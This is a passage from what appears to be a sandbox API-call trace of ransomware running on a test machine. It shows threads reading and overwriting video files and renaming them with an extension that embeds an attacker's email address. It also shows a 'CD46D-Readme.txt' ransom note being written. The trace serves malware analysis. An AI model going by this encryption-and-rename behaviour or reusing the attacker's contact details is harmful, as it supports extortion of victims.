(HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f43f0) returned 1 [0053.664] NtQueryInformationFile (in: FileHandle=0xb08, IoStatusBlock=0xec7fe68, FileInformation=0xec7fe40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xec7fe68, FileInformation=0xec7fe40) returned 0x0 [0053.664] NtSetInformationFile (FileHandle=0xb08, IoStatusBlock=0xec7fe68, FileInformation=0xec7fe40, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.667] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e006e0) returned 1 [0053.667] FlushFileBuffers (hFile=0xb08) returned 1 [0053.668] CloseHandle (hObject=0xb08) returned 1 [0053.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x437b98 [0053.671] wcscpy (in: _Dest=0x437b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0053.671] wcscat (in: _Dest=0x437b98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0053.671] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0xffffffff [0053.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.034] WriteFile (in: hFile=0x1fc, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xec7fe64, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xec7fe64*=0x6fd, lpOverlapped=0x0) returned 1 [0054.035] CloseHandle (hObject=0x1fc) returned 1 [0054.035] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0054.035] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446ee0) returned 1 Thread: id = 609 os_tid = 0x240 [0050.054] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7st8lychpiv45vhvlv.mp4")) returned 0x20 [0050.054] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4", dwFileAttributes=0x20) returned 1 [0050.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7st8lychpiv45vhvlv.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb0c [0050.055] GetFileSizeEx (in: hFile=0xb0c, lpFileSize=0xee4f7d8 | out: lpFileSize=0xee4f7d8*=68487) returned 1 [0050.055] SetFilePointerEx (in: hFile=0xb0c, liDistanceToMove=0x10b83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.055] ReadFile (in: hFile=0xb0c, lpBuffer=0xee4f75c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xee4f758, lpOverlapped=0x0 | out: lpBuffer=0xee4f75c*, lpNumberOfBytesRead=0xee4f758*=0x4, lpOverlapped=0x0) returned 1 [0050.056] SetFilePointerEx (in: hFile=0xb0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0050.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0050.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.056] NtQuerySystemTime (in: CurrentTime=0xee4f738 | out: CurrentTime=0xee4f738*=132174898140372000) returned 0x0 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x4ad5a515 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x4ae2f0bd [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x9d3f104 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x31bf2200 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x2ba8044d [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x79b3d78d [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x44f25d23 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x3defba5 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x5ff29437 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x54bca1c9 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x469a831a [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x55afbeef [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x75e70c79 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x68711a32 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x3c0b126f [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x25d60331 [0050.056] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x2674c55 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x66ec24f2 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x6f039a8a [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0xad2e86e [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x28afff62 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x10021af5 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x6a3f2b8 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x4f190d7a [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x3fd4e878 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x7cb8169d [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0xb7e4b6e [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0xb2899ee [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x46356086 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x3390e444 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0x436566b1 [0050.057] RtlRandomEx (in: Seed=0xee4f744 | out: Seed=0xee4f744) returned 0xa27856e [0050.069] SetFilePointerEx (in: hFile=0xb0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.069] ReadFile (in: hFile=0xb0c, lpBuffer=0x5e54068, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xee4f718, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesRead=0xee4f718*=0xc800, lpOverlapped=0x0) returned 1 [0050.070] SetFilePointerEx (in: hFile=0xb0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402a80 [0050.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a678 [0050.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0050.070] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0050.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e60870 [0050.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0050.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441640) returned 1 [0050.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a678) returned 1 [0050.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0050.074] WriteFile (in: hFile=0xb0c, lpBuffer=0x5e60870*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xee4f718, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesWritten=0xee4f718*=0xc800, lpOverlapped=0x0) returned 1 [0053.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0053.261] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0053.261] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x402720 [0053.261] SetFilePointerEx (in: hFile=0xb0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.261] WriteFile (in: hFile=0xb0c, lpBuffer=0x44b0c8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xee4f798, lpOverlapped=0x0 | out: lpBuffer=0x44b0c8*, lpNumberOfBytesWritten=0xee4f798*=0x11d, lpOverlapped=0x0) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b0c8) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c510) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0053.529] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441528) returned 1 [0053.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0053.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x5e47f18 [0053.530] wcscpy (in: _Dest=0x5e47f18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4" [0053.530] wcscat (in: _Dest=0x5e47f18, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xee4f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x44b548 [0054.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44b548) returned 1 [0054.000] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f6670) returned 1 [0054.000] NtQueryInformationFile (in: FileHandle=0xb0c, IoStatusBlock=0xee4f75c, FileInformation=0xee4f734, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xee4f75c, FileInformation=0xee4f734) returned 0x0 [0054.000] NtSetInformationFile (FileHandle=0xb0c, IoStatusBlock=0xee4f75c, FileInformation=0xee4f734, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.002] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47f18) returned 1 [0054.002] FlushFileBuffers (hFile=0xb0c) returned 1 [0054.065] CloseHandle (hObject=0xb0c) returned 1 [0054.066] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.066] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.066] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.066] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.066] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.066] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e838) returned 1 Thread: id = 610 os_tid = 0x438 [0050.075] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9w_cutsa0g.mkv")) returned 0x20 [0050.075] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv", dwFileAttributes=0x20) returned 1 [0050.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9w_cutsa0g.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb10 [0050.075] GetFileSizeEx (in: hFile=0xb10, lpFileSize=0xedefc64 | out: lpFileSize=0xedefc64*=17204) returned 1 [0050.075] SetFilePointerEx (in: hFile=0xb10, liDistanceToMove=0x4330, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.075] ReadFile (in: hFile=0xb10, lpBuffer=0xedefbe8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xedefbe4, lpOverlapped=0x0 | out: lpBuffer=0xedefbe8*, lpNumberOfBytesRead=0xedefbe4*=0x4, lpOverlapped=0x0) returned 1 [0050.076] SetFilePointerEx (in: hFile=0xb10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441550 [0050.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0050.076] NtQuerySystemTime (in: CurrentTime=0xedefbc4 | out: CurrentTime=0xedefbc4*=132174898140528000) returned 0x0 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x21f43bc5 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x168dc03e [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x3dd9ef43 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x7c5186b3 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x47d2d564 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x1113162 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0xabc9f96 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x732cfeb1 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x5673a156 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x53a2d7ef [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x3d2ba806 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x6cca86df [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x42dec748 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x7b4a22b4 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x432f81be [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x358c32a7 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x6953d2b7 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x7c742bf5 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0xa525e2e [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x726dab50 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x6dbbfba6 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x6cce04d7 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x112c47f2 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x5a5b8701 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x6a0153b0 [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x4c55fcaa [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x227bdf9f [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x1005032b [0050.077] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x56f3c64c [0050.078] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x26ad2d05 [0050.078] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x4738b3ed [0050.078] RtlRandomEx (in: Seed=0xedefbd0 | out: Seed=0xedefbd0) returned 0x44b7f053 [0050.092] ReadFile (in: hFile=0xb10, lpBuffer=0x5e6d078, nNumberOfBytesToRead=0x4334, lpNumberOfBytesRead=0xedefbc0, lpOverlapped=0x0 | out: lpBuffer=0x5e6d078*, lpNumberOfBytesRead=0xedefbc0*=0x4334, lpOverlapped=0x0) returned 1 [0050.093] SetFilePointerEx (in: hFile=0xb10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.093] WriteFile (in: hFile=0xb10, lpBuffer=0x5e79880*, nNumberOfBytesToWrite=0x4334, lpNumberOfBytesWritten=0xedefbbc, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesWritten=0xedefbbc*=0x4334, lpOverlapped=0x0) returned 1 [0053.263] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429778 [0053.263] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0053.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297a0) returned 1 [0053.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0053.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d078) returned 1 [0053.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a678) returned 1 [0053.263] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0053.263] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40aa30 [0053.263] SetFilePointerEx (in: hFile=0xb10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.263] WriteFile (in: hFile=0xb10, lpBuffer=0x441d00*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0xedefc24, lpOverlapped=0x0 | out: lpBuffer=0x441d00*, lpNumberOfBytesWritten=0xedefc24*=0x10d, lpOverlapped=0x0) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441d00) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab10) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297a0) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aa30) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429778) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441550) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415a0) returned 1 [0053.531] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4415f0) returned 1 [0053.531] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c7a0 [0053.531] wcscpy (in: _Dest=0x45c7a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv" [0053.531] wcscat (in: _Dest=0x45c7a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0053.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xedefbdc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9w_CuTsa0G.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.531] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0054.001] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0054.001] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f6ce8) returned 1 [0054.001] NtQueryInformationFile (in: FileHandle=0xb10, IoStatusBlock=0xedefbe8, FileInformation=0xedefbc0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xedefbe8, FileInformation=0xedefbc0) returned 0x0 [0054.001] NtSetInformationFile (FileHandle=0xb10, IoStatusBlock=0xedefbe8, FileInformation=0xedefbc0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c7a0) returned 1 [0054.005] FlushFileBuffers (hFile=0xb10) returned 1 [0054.067] CloseHandle (hObject=0xb10) returned 1 [0054.068] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b2d0 [0054.068] wcscpy (in: _Dest=0x43b2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.068] wcscat (in: _Dest=0x43b2d0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.068] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.068] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46d48) returned 1 Thread: id = 611 os_tid = 0x7b8 [0050.099] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bsvo37g4.swf")) returned 0x20 [0050.099] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf", dwFileAttributes=0x20) returned 1 [0050.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bSVo37G4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bsvo37g4.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb14 [0050.100] GetFileSizeEx (in: hFile=0xb14, lpFileSize=0xefbfda4 | out: lpFileSize=0xefbfda4*=18914) returned 1 [0050.100] SetFilePointerEx (in: hFile=0xb14, liDistanceToMove=0x49de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.100] ReadFile (in: hFile=0xb14, lpBuffer=0xefbfd28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xefbfd24, lpOverlapped=0x0 | out: lpBuffer=0xefbfd28*, lpNumberOfBytesRead=0xefbfd24*=0x4, lpOverlapped=0x0) returned 1 [0050.100] SetFilePointerEx (in: hFile=0xb14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441640 [0050.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4414b0 [0050.101] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410c8 [0050.101] 